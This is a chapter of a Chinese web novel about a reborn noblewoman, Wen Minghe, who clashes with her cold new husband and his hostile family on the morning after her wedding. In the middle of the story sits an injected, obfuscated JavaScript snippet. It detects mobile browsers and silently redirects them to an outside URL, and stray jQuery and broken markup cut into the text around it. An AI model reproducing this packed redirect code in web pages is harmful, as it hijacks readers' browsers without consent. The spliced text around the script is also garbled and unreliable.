3. 第 3 章

作品:《笨蛋美人重生在新婚夜

    青年不疾不徐绕过锦屏离开,温明鹤红着眼眶,拿起软枕重重砸向那扇山松绢屏。


    “混蛋!”


    贺令秋抬起的脚步微顿了下,面无表情地跨过内室的门槛,渐渐走远。


    柳芽儿和柳叶儿恰好撞见玄衣青年冷脸离开,顿时心生不安,姊妹俩匆匆而入后,就见榻上的女郎气得小脸涨红,那双漂亮的眼睛里藏不住气愤和委屈,一时间心里的滋味难受极了。


    “姑娘……”


    “没事。”温明鹤努力压下情绪,掀开被子下床,“梳洗更衣罢。”


    柳叶儿在姑娘身边待了十多年,从没见自家姑娘憋屈成这样,忍不住道,“姑娘,若不然咱们去尧州找江家舅舅和大姑娘罢。”


    柳芽儿轻斥着妹妹,“眼下是贺府,这种话莫被外人听去了。”


    嫁为人妇后岂是说走就走的,而且老爷夫人现在是什么情况都还不清楚,姑娘怎可能就这么放心离开京州,“别磨蹭了,给姑娘拿衣裳来。”


    温明鹤没说话,沉默地梳洗好,看到那身素净又秀雅的月锦缕金裳裙,抿了抿嘴,她从不爱穿这样清婉淡雅的衣裳。


    柳芽儿怎能看不出她的郁闷和不快,温和劝着,“今时不同往日,姑娘暂且忍一忍。”


    温家身陷囹吾,贺家又是这番态度,还是低调些更妥善。


    温明鹤默默穿好衣衫,见柳芽儿拿来一条赤红腰封过来,闷声道,“不是要朴素些?”


    “姑娘还未出新婚,配着红色显得吉利。”


    温明鹤心想随便吧,转而问道,“信都送出去了?”


    “送出去了,奴婢还托人去打听了老爷夫人的消息。”


    柳芽儿办事一向稳重周到,温明鹤很放心,想了想,吩咐她,“等会儿你不用跟着我去敬茶,挨个走一趟姻亲家里,看看他们知不知什么内里的消息,和爹爹交好的几位世伯家也去打探一番,多揣些银子打点,尽量避着外人的耳目。”


    一旦涉及结党营私之事,都会牵扯不少人进来,他们自然会对温家人避之不及,若是悄默声的打听,总归能留几分情面。


    柳芽儿颔首,“奴婢明白。”


    时辰已经差不多,温明鹤也没胃口吃点东西垫肚子,出了正厢,守在院里的温家奴仆纷纷看了过来,低声道,“姑娘安好。”


    院中还有贺家的下人,零零散散的几个,佯作不经意地一瞥偷偷打量着她,和温家奴仆略显低迷不安的丧气模样一对比,相差极大。


    温明鹤心头蓦地一堵,咬了咬唇,“柳叶儿。”


    她低声道,“去,把那蒙汗药带上。”


    能屈能伸方成大事,若贺令秋再搜一次她的嫁妆,到时颜面尽失的她在贺家下人眼里该是怎样卑微的存在?


    她绝不能成为连贺家下人都可以随意欺凌的存在。


    .


    贺令秋在院门外等候着,看到小女郎一袭素雅恬静的月锦裳裙徐徐走来,不由得怔愣了一下,随即眼底掠过一道冷嘲。


    她莫不是以为装的乖巧娴静些,就能完全掩盖自己嚣张跋扈不择手段的本性罢?


    旁人可不是傻子。


    他懒得戳破,等人到跟前了,转身先走,温明鹤努力加快步子追着前方的玄衣青年,可他总是比她快了两步。


    厅堂已经近在眼前,她不满地鼓了鼓脸颊,干脆提裙冲上去揪住他的衣袍,蛮横地将东西塞他手里,“给你。”


    贺令秋冷不防地拽住,剑眉当即微蹙起,垂眸摊开掌心,只见一个被攥得皱巴巴的小小药包。


    ……


    原以为要拉锯磨上一阵子才能让她松口。


    他看向瘪着嘴别过脸去的小女郎,“蒙汗药只有这么些?”


    温明鹤幽幽转回头,瞪了他几息,抬手便要抢回来,“你不要就还给我。”


    贺令秋不疾不徐地抽回手躲开,眼神微凉,“你若还有私藏,又或故技重施……”


    “怎么,你们贺家就这么惦记我的嫁妆?”


    “没人觊觎你的嫁妆。”


    贺令秋将小药瓶收入袖中,漠然地扫了她一眼,“贺家的家底是比不上世代簪缨的温家,不过至少不会生出不该有的贪念,肆意敛收私利。”


    温明鹤长这么大,从未被人几次三番的嘲讽胁迫过,强压住反讽的冲动,白净的小脸紧绷着,“营私一案尚未定局,你休要污蔑我爹。”


    贺令秋只扯了扯嘴角,不急不缓地掠过她往祠堂走去,“你我既是夫妻,只要你安分守己些,贺家不会对你怎么样。”


    呵,说得好听。


    当初在新婚之夜把她赶出府门的时候,可没见贺家有半点心软的意思。


    两人一前一后步入厅堂,只见贺老夫人与贺父夫妇、贺二房、贺四房早已正襟危坐等候着,温明鹤一眼先看清了宁和郡主与贺老夫人的面容,不由攥紧了手中的绢帕。


    堂中气氛有些沉默,贺老夫人敷衍地喝了茶,身后的嬷嬷把红封递过来,小女郎只淡淡垂眸敛目,并没有接。


    贺令秋眉头几不可察地微皱起,压下心底的不悦,探手接过,“谢祖母。”


    温明鹤对贺老太太那束阴冷的目光视若无睹,自若地给贺父奉茶,贺父刚刚接过,一旁的云氏便已紧张地将红封递至温明鹤面前。


    刚端起茶要递过去的温明鹤:……?


    她诧异的抬起眼,恰好撞见云氏略显局促的眼睛。


    她这位婆母倒有意思。


    她主动把茶杯往前送了送,“婆母先接茶吧。”


    云氏忐忑地喝了口茶,她这位儿媳妇连老太太的红封都不稀罕接,莫不是也没打算接她的?


    正想着,女郎那细白的玉指主动捏住红封的边缘,从容地收下,“谢婆母。”


    贺家老太太看见这一幕,再也绷不住,脸色蓦地阴沉下来。


    气氛愈发微妙僵硬,温明鹤全当没有察觉,神色自然,“二婶母。”


    茶盏递出去,本以为对方拿稳了,没想到一松手杯盏直直下落,她条件反射想接住要摔下的杯盏,好在反应快,硬生生克制住动作没有动。


    瓷杯碎成数瓣,微烫的茶水也溅了一地。


    宁和郡主淡淡扫一眼地上的狼藉,眼底流露出几分轻视,“我还没拿稳,侄媳这么着急放手,莫不是迫不及待想收红封?”


    温明鹤:……呸!谁愿意碰她给的晦气红封。


    宁和郡主是恒王独女,恒王夫妻早年病逝后,帝后对她颇为关照,以温明鹤现在的处境,若是识相就该乖乖认下这个亏。


    可她年轻气盛,便是死过一回,依旧不是个能忍气吞声的主儿,更别提这位宁和郡主当初揪着她的头发将她硬生生扯出了新房。


    再说了,二房的夫人不顾公婆的颜面,当众挑刺她这个长房儿媳,她凭什么不能反驳回去。


    身侧的小女郎柳眉一皱,贺令秋就猜到她心里定然不服气,见她下巴一扬便要开口,先一步把新茶奉向宁和郡主。


    “明鹤性急莽撞了些,二婶娘莫怪。”青年语调平静,“我与她夫妻一体,这茶我替她敬。”


    温明鹤目光幽幽看向他,贺令秋冷冷回望,无声警告着。


    狗东西,她忍不住在心底暗骂。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240653|197718||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    温明鹤在心里骂骂咧咧,一抬头却不慎撞上宁和郡主的阴恻目光,一股强烈的危机感从后脊窜起,而下一瞬对方便淡淡收回视线,神色自若地垂眸喝茶,仿佛那一眼只是她的错觉一般。


    温明鹤惊疑不定的抿紧唇,只能暂且压下那股不适之感。


    贺令秋主动代温明鹤敬茶,无声中表决了他对于新妇的态度和立场,事已至此,即便贺家对这个长孙儿媳心存不满,也只能暂且按捺着。


    请安奉茶顺利结束,到祠堂敬过贺家先祖之后才开始用早膳,温明鹤早就饿了,膳桌上埋头吃饭,难得乖巧安静下来。


    贺令秋漫不经心用着膳,余光注意到女郎吃完后轻呼出一口气,放下筷子开始环视四周,毫不犹豫的起身向长辈们告辞,同时用眼神示意她一同离开。


    回去路上,温明鹤有些莫名,“走那么着急作甚?”她都没来得及喝口茶漱口。


    贺令秋置若罔闻一般走在前面,给长辈奉茶之时都想和二婶娘吵上几句,她吃饱有了力气,怕是更加肆无忌惮。


    “月初便是春闱,我在前院书房读书,无事莫来打搅,只要你安分些不招惹是非,温家之事我自会托人打听。”


    打听温家的情况本就是他这个夫君应该做的,温明鹤撇撇嘴,“知道了。”


    回到岁寒院,她立马换了声精致漂亮的衣裙,和柳叶儿喝茶说着话等柳芽儿回来,好不容易捱过大半个时辰,柳芽儿迟迟不归,便不免有些心急。


    “姐姐一向心细,若见到人定然趁机多问几嘴,姑娘莫急,奴婢让人去府门口瞧瞧。”


    柳叶儿起身到外头看了一圈,见身着青色布衣的温家奴仆拎水的拎水,搬东西的搬东西,婢女们也拿抹布擦着游廊凭栏,一个个忙得头都不抬,有些纳闷,“你们这是忙活什么呢?”


    方才就隐隐听着外面有动静,还以为是贺家下人在干活,没想到竟是自己人。


    一个小丫鬟闻言闷闷道,“姑娘离开的时候,黄管事过来说春天天暖和了,让咱们把院子都仔细打扫擦洗一番,清清尘土。”


    柳叶儿蹙眉,“什么开春清尘,谁家新娘子嫁进来之后才想起来扫洗府上的,他一个小小管事,又不是自家主子,他一指使你们就干?”


    丫鬟沮丧的垂着脑袋,“他说姑爷让他管着岁寒院,咱们既跟着来了贺府,日后就是贺家的下人,若敢不从便视为恶仆,发卖恶仆只是禀告主子一声的小事儿。”


    昨夜贺家那气势汹汹的阵仗本就吓得他们一夜未睡,每个人都忐忑不安,今早听到温家入狱之事,加之贺家下人一直在冷嘲热讽,大家彻底慌了神。


    姑娘都自身难保,他们这些奴婢贱命一条,下场岂不更加凄惨。


    “荒唐!”柳叶儿气得脸色铁青。


    不知天高地厚的势利小人,不过是掌了小小一方院子的权而已,就算姑爷和贺府上下再不喜姑娘,也轮不到他一个小管事踩在主子头上闹翻天。


    她跑回去和温明鹤告状,温明鹤直接被气笑,“不愧是贺家。”


    昨日欺负她,今日欺负她的人,明日怕不是看门狗都敢跑到她跟前狠狠咬上一口。


    她讥讽地扯了扯嘴角,一口茶勉强压下了满腔火气,随即精致小巧的下巴微微扬起,语气里透着几分傲慢,“让他们把手上的东西都撂下,那小管事要是再来故意刁难,他们想打就打想骂就骂。”


    “便是把人活活打死了也有我温明鹤担着,若对方心存不满,就让他尽管去找贺令秋告状。”


    温家奴仆甩手不干了,还没到两刻钟,这事儿就传到了黄管事耳中。